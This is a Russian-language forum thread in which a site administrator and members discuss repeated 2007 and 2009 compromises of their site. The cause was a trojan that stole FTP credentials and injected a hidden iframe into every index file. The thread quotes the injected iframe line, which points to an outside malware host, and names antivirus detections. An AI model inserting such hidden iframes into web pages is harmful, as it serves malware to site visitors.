Взлом? Баг?.. Что-то было

Сообщение **Aqua$erg** » 14 май 2007 07:29

Сегодня ночью с сайтом произошла "непонятка": Главная страница и Контакты отображали вместо себя нечто, на что ругался Dr.Web и содержали в самом начале кода примерно следующее:

<iframe src="http://ammok.com/s/index.php" width=1height=1>

После чего вместо Белоострова начинала загружаться страница с указанным адресом.

Поправил, конечно. Но как-то беспокойно на душе стало... Откуда такая напасть?

Сообщение **Aqua$erg** » 14 май 2007 07:41

О, а только что подобная беда произошла и с Форумом

Кто-то ломает...

Владимир

Файл index.php у форума уже вчера не работал и пустоту возвращал. А viewtopic.php показывал всё, как надо. У меня вопрос, а на что антивирус ругался, у меня НОД слова не сказал.

Roman · Сообщение **Roman** » 14 май 2007 16:34

У меня aнтивирус пoкaзывaл вoт эту штуку: EXP/VML-Fill.A

Сообщение **Aqua$erg** » 14 май 2007 19:56

Я со страху не заметил - на что именно ругался антивирус. Похоже, что кто-то "автоматом" прошерстил все индексные файлы в директориях, снабдив их подобным дополнением скрипта.

Сообщение **Aqua$erg** » 14 май 2007 20:49

Та-а-ак-с...
Проверил все мои (под моей поддержкой) сайты на ПетерХосте - все они поражены подобным вирусом (во всяком случае, все индексные файлы).
Написал письмо в саппорт. Жду ответа

Сообщение **Aqua$erg** » 14 май 2007 23:30

У меня, кстати, антивирус ругался (проверил по другим сайтам) на некую дрянь
VBS.Psyme.262
Ссылалась она на один и тот же сайт http://ammok.com/s/index.php (не советую туда ходить - вдруг там "бяка"...)

Roman · Сообщение **Roman** » 14 май 2007 23:38

Схoдил! Тaм действительнo бякa!

AndreyG · Сообщение **AndreyG** » 16 май 2007 21:04

phpBB - очень распространенный форум - в этом его сила и слабость. Слабость в том - что его очень любят ломать, а через него и сайт, и знают его дыры. В более новых версиях форума многое исправляется, но, как я понимаю, и находится новое.

Сообщение **Aqua$erg** » 16 май 2007 22:01

Нет, я разобрался в причине. Дело было не в уязвимости форума - он у меня как раз относительно неплохо защищён.
Оказалось, виноват был хитрый троян, которого я где-то словил - он влез в моего фтп-клиента, и пошло-поехало... Все сайты, которые были у меня в списке - порушились. Заразились все индексные файлы во всех директориях

delazar · Сообщение **delazar** » 04 апр 2009 17:19

Уже пару дней не грузится форум ни с внешних ссылок, ни с внутренних - выдается пустая страница. Подфорумы, темы и все остальное работает вроде нормально. А как у вас?

stepan · Сообщение **stepan** » 04 апр 2009 18:02

У меня то же самое. Пустая страница. До сих пор так

Буквоед

stepan писал(а):У меня то же самое. Пустая страница. До сих пор так

Аналогичная картина

Сообщение **raevsku** » 04 апр 2009 22:57

delazar писал(а):Уже пару дней не грузится форум ни с внешних ссылок, ни с внутренних - выдается пустая страница. Подфорумы, темы и все остальное работает вроде нормально. А как у вас?

Есть подобный "косяк". Враги форума не спят.

Сообщение **Aqua$erg** » 05 апр 2009 00:08

А как вы все умудрились написать об этом???

Сообщение **raevsku** » 05 апр 2009 00:23

Aqua$erg писал(а):А как вы все умудрились написать об этом???

Главная - Новости форума - Взлом? Баг? И пишем по маленьку!

Сообщение **Aqua$erg** » 05 апр 2009 19:04

Так-с... Починил, вроде. Был взлом сайта. Опять - как и в первом сообщении в этой ветке.
Но я по забывчивости потёр все аватары, так что прошу залить по новой.

Сообщение **Aqua$erg** » 05 апр 2009 23:05

Чёрт... Только всё починил - опять то же самое!
Пришлось сменить пароль доступа к сайту. Надеюсь, поможет

delazar · Сообщение **delazar** » 05 апр 2009 23:10

Вроде, мы победили (тук-тук-тук!).

Сообщение **Aqua$erg** » 05 апр 2009 23:13

Пока что пью шампанское в честь победы, но подождём пару дней (может, и пару часов)...

Буквоед

Aqua$erg писал(а):Пока что пью шампанское в честь победы, но подождём пару дней (может, и пару часов)...

Как говорится, дай Бог

P.S. Или я плохо не понял, или у Вас часы не переведены на летнее? Цитируемый пост пришел в 00:13, а показано 11:13

Сообщение **Aqua$erg** » 05 апр 2009 23:27

Спасибо, что напомнили. Вручную нужно переводить в настройках, а я и забыл... Правда, вижу - без редактирования этого момента в личном профайле это бесполезно. Так что, и у себя в профайле поправьте.